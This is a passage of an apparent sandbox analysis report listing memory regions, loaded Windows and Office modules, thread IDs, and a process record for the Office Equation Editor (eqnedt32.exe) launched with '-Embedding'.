	              id = 360
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 361
	        start_va = 0x7fefd340000
	          end_va = 0x7fefd37cfff
	     entry_point = 0x7fefd340000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 362
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 363
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 364
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 365
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 366
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 367
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 368
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 369
	        start_va = 0x7fefd730000
	          end_va = 0x7fefd769fff
	     entry_point = 0x7fefd730000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 370
	        start_va = 0x7fefd770000
	          end_va = 0x7fefd899fff
	     entry_point = 0x7fefd770000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 371
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 372
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 373
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 374
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 375
	        start_va = 0x7fefdcc0000
	          end_va = 0x7fefea47fff
	     entry_point = 0x7fefdcc0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 376
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 377
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 378
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 379
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 380
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 381
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 382
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 383
	        start_va = 0x7feff060000
	          end_va = 0x7feff2b8fff
	     entry_point = 0x7feff060000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 384
	        start_va = 0x7feff2c0000
	          end_va = 0x7feff437fff
	     entry_point = 0x7feff2c0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 385
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 386
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 387
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 388
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 389
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 390
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 391
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 392
	        start_va = 0x7fffff60000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff60000"
	        filename = ""

Region:
	              id = 393
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 394
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 395
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 396
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 397
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 398
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 399
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 400
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 401
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 402
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 403
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 404
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 405
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 406
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 407
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 408
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 409
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 410
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 411
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 412
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 413
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 414
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 415
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 416
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 417
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 418
	        start_va = 0x7fefca20000
	          end_va = 0x7fefca76fff
	     entry_point = 0x7fefca20000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 419
	        start_va = 0x2620000
	          end_va = 0x2621fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002620000"
	        filename = ""

Region:
	              id = 420
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd330fff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 421
	        start_va = 0xaee0000
	          end_va = 0xafdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000aee0000"
	        filename = ""

Region:
	              id = 422
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 423
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 895
	        start_va = 0x2630000
	          end_va = 0x2631fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002630000"
	        filename = ""

Region:
	              id = 896
	        start_va = 0x2640000
	          end_va = 0x2641fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002640000"
	        filename = ""

Region:
	              id = 897
	        start_va = 0x2d10000
	          end_va = 0x2d8ffff
	     entry_point = 0x2d10000
	     region_type = mapped_file
	            name = "~wrf{39adf1e3-5a9e-4b7a-968c-7f152b2cf072}.tmp"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{39ADF1E3-5A9E-4B7A-968C-7F152B2CF072}.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{39adf1e3-5a9e-4b7a-968c-7f152b2cf072}.tmp")

Region:
	              id = 898
	        start_va = 0x7fee3750000
	          end_va = 0x7fee3bc8fff
	     entry_point = 0x7fee3750000
	     region_type = mapped_file
	            name = "gfx.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll")

Region:
	              id = 899
	        start_va = 0x7fef7a60000
	          end_va = 0x7fef7a66fff
	     entry_point = 0x7fef7a60000
	     region_type = mapped_file
	            name = "msimg32.dll"
	        filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")

Region:
	              id = 900
	        start_va = 0x2660000
	          end_va = 0x2661fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002660000"
	        filename = ""

Region:
	              id = 901
	        start_va = 0x5a90000
	          end_va = 0x5b5bfff
	     entry_point = 0x5a90000
	     region_type = mapped_file
	            name = "times.ttf"
	        filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf")

Region:
	              id = 902
	        start_va = 0x5d10000
	          end_va = 0x5dd6fff
	     entry_point = 0x5d10000
	     region_type = mapped_file
	            name = "calibri.ttf"
	        filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf")

Region:
	              id = 903
	        start_va = 0xafe0000
	          end_va = 0xb7dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000000afe0000"
	        filename = ""

Region:
	              id = 904
	        start_va = 0x7fee3690000
	          end_va = 0x7fee3749fff
	     entry_point = 0x7fee3690000
	     region_type = mapped_file
	            name = "uiautomationcore.dll"
	        filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll")

Region:
	              id = 905
	        start_va = 0x7fef2f90000
	          end_va = 0x7fef2fe3fff
	     entry_point = 0x7fef2f90000
	     region_type = mapped_file
	            name = "oleacc.dll"
	        filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll")

Region:
	              id = 908
	        start_va = 0x2650000
	          end_va = 0x2650fff
	     entry_point = 0x2650000
	     region_type = mapped_file
	            name = "oleaccrc.dll"
	        filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll")

Region:
	              id = 909
	        start_va = 0x28b0000
	          end_va = 0x28b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000028b0000"
	        filename = ""

Region:
	              id = 910
	        start_va = 0xb7e0000
	          end_va = 0xbb91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000b7e0000"
	        filename = ""

Region:
	              id = 911
	        start_va = 0x7fef8650000
	          end_va = 0x7fef865bfff
	     entry_point = 0x7fef8650000
	     region_type = mapped_file
	            name = "linkinfo.dll"
	        filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll")

Region:
	              id = 912
	        start_va = 0x7fef8be0000
	          end_va = 0x7fef8c5ffff
	     entry_point = 0x7fef8be0000
	     region_type = mapped_file
	            name = "ntshrui.dll"
	        filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll")

Region:
	              id = 913
	        start_va = 0x7fef8c60000
	          end_va = 0x7fef8c6efff
	     entry_point = 0x7fef8c60000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 914
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf4afff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 915
	        start_va = 0x28c0000
	          end_va = 0x28c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028c0000"
	        filename = ""

Region:
	              id = 916
	        start_va = 0x2a40000
	          end_va = 0x2a41fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a40000"
	        filename = ""

Region:
	              id = 917
	        start_va = 0x2a60000
	          end_va = 0x2a61fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a60000"
	        filename = ""

Region:
	              id = 918
	        start_va = 0x2a80000
	          end_va = 0x2a81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a80000"
	        filename = ""

Region:
	              id = 919
	        start_va = 0x2a90000
	          end_va = 0x2a90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a90000"
	        filename = ""

Region:
	              id = 920
	        start_va = 0x2da0000
	          end_va = 0x2da1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002da0000"
	        filename = ""

Region:
	              id = 921
	        start_va = 0x2dc0000
	          end_va = 0x2dc1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002dc0000"
	        filename = ""

Region:
	              id = 922
	        start_va = 0x2de0000
	          end_va = 0x2de1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002de0000"
	        filename = ""

Region:
	              id = 923
	        start_va = 0x2e00000
	          end_va = 0x2e01fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e00000"
	        filename = ""

Region:
	              id = 924
	        start_va = 0x3560000
	          end_va = 0x3561fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003560000"
	        filename = ""

Region:
	              id = 925
	        start_va = 0x3800000
	          end_va = 0x3801fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003800000"
	        filename = ""

Region:
	              id = 926
	        start_va = 0x3930000
	          end_va = 0x3931fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003930000"
	        filename = ""

Region:
	              id = 927
	        start_va = 0x5f90000
	          end_va = 0x605dfff
	     entry_point = 0x5f90000
	     region_type = mapped_file
	            name = "timesbd.ttf"
	        filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf")

Region:
	              id = 928
	        start_va = 0x6270000
	          end_va = 0x6329fff
	     entry_point = 0x6270000
	     region_type = mapped_file
	            name = "calibril.ttf"
	        filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf")

Region:
	              id = 929
	        start_va = 0x84b0000
	          end_va = 0x85affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000084b0000"
	        filename = ""

Region:
	              id = 930
	        start_va = 0x8670000
	          end_va = 0x8744fff
	     entry_point = 0x8670000
	     region_type = mapped_file
	            name = "calibrili.ttf"
	        filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf")

Region:
	              id = 931
	        start_va = 0xbba0000
	          end_va = 0xbc70fff
	     entry_point = 0xbba0000
	     region_type = mapped_file
	            name = "calibrii.ttf"
	        filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf")

Region:
	              id = 932
	        start_va = 0x7fee3570000
	          end_va = 0x7fee368efff
	     entry_point = 0x7fee3570000
	     region_type = mapped_file
	            name = "webservices.dll"
	        filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll")

Region:
	              id = 933
	        start_va = 0xbce0000
	          end_va = 0xbddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000bce0000"
	        filename = ""

Region:
	              id = 934
	        start_va = 0x7fef2100000
	          end_va = 0x7fef2155fff
	     entry_point = 0x7fef2100000
	     region_type = mapped_file
	            name = "msproof7.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msproof7.dll")

Region:
	              id = 935
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 936
	        start_va = 0x7fee3460000
	          end_va = 0x7fee3567fff
	     entry_point = 0x7fee3460000
	     region_type = mapped_file
	            name = "msgr8en.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll")

Region:
	              id = 2977
	        start_va = 0x2660000
	          end_va = 0x266ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002660000"
	        filename = ""

Region:
	              id = 2978
	        start_va = 0x2a50000
	          end_va = 0x2a51fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a50000"
	        filename = ""

Region:
	              id = 2979
	        start_va = 0x2a70000
	          end_va = 0x2a70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a70000"
	        filename = ""

Region:
	              id = 2980
	        start_va = 0x2b80000
	          end_va = 0x2b90fff
	     entry_point = 0x2b80000
	     region_type = mapped_file
	            name = "c_1250.nls"
	        filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls")

Region:
	              id = 2981
	        start_va = 0x2ba0000
	          end_va = 0x2bb0fff
	     entry_point = 0x2ba0000
	     region_type = mapped_file
	            name = "c_1251.nls"
	        filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls")

Region:
	              id = 2982
	        start_va = 0x2bc0000
	          end_va = 0x2bd0fff
	     entry_point = 0x2bc0000
	     region_type = mapped_file
	            name = "c_1253.nls"
	        filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls")

Region:
	              id = 2983
	        start_va = 0x2be0000
	          end_va = 0x2bf0fff
	     entry_point = 0x2be0000
	     region_type = mapped_file
	            name = "c_1254.nls"
	        filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls")

Region:
	              id = 2984
	        start_va = 0x2c00000
	          end_va = 0x2c10fff
	     entry_point = 0x2c00000
	     region_type = mapped_file
	            name = "c_1257.nls"
	        filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls")

Region:
	              id = 2985
	        start_va = 0x2c20000
	          end_va = 0x2c30fff
	     entry_point = 0x2c20000
	     region_type = mapped_file
	            name = "c_1258.nls"
	        filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls")

Region:
	              id = 2986
	        start_va = 0x2db0000
	          end_va = 0x2db0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002db0000"
	        filename = ""

Region:
	              id = 2987
	        start_va = 0x2dd0000
	          end_va = 0x2dd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002dd0000"
	        filename = ""

Region:
	              id = 2988
	        start_va = 0x2df0000
	          end_va = 0x2df0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002df0000"
	        filename = ""

Region:
	              id = 2989
	        start_va = 0x2e10000
	          end_va = 0x2e10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e10000"
	        filename = ""

Region:
	              id = 2990
	        start_va = 0xc930000
	          end_va = 0xd8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c930000"
	        filename = ""

Region:
	              id = 2991
	        start_va = 0x7fef88e0000
	          end_va = 0x7fef894dfff
	     entry_point = 0x7fef88e0000
	     region_type = mapped_file
	            name = "mso.frameprotocolwin32.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSO.FRAMEPROTOCOLWIN32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mso.frameprotocolwin32.dll")


Thread:
	id = 1
	os_tid = 0xa5c


Thread:
	id = 2
	os_tid = 0xa58


Thread:
	id = 3
	os_tid = 0xa54


Thread:
	id = 4
	os_tid = 0xa50


Thread:
	id = 5
	os_tid = 0xa3c


Thread:
	id = 6
	os_tid = 0xa2c


Thread:
	id = 7
	os_tid = 0xa28


Thread:
	id = 8
	os_tid = 0xa24


Thread:
	id = 9
	os_tid = 0xa20


Thread:
	id = 10
	os_tid = 0xa1c


Thread:
	id = 11
	os_tid = 0xa18


Thread:
	id = 12
	os_tid = 0xa14


Thread:
	id = 13
	os_tid = 0xa10


Thread:
	id = 14
	os_tid = 0xa0c


Thread:
	id = 15
	os_tid = 0xa08


Thread:
	id = 16
	os_tid = 0xa04


Thread:
	id = 17
	os_tid = 0xa00


Thread:
	id = 18
	os_tid = 0x9d8


Thread:
	id = 19
	os_tid = 0x9d4


Thread:
	id = 20
	os_tid = 0x9d0


Thread:
	id = 21
	os_tid = 0x9cc


Thread:
	id = 22
	os_tid = 0x9c8


Thread:
	id = 23
	os_tid = 0x9c4


Thread:
	id = 24
	os_tid = 0xac4


Thread:
	id = 65
	os_tid = 0xb30


Thread:
	id = 231
	os_tid = 0x3c4


Process:
	id = "2"
	image_name = "eqnedt32.exe"
	filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe"
	page_root = "0x302fc000"
	os_pid = "0xac8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "rpc_server"
	parent_id = "1"
	os_parent_pid = "0x9c0"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
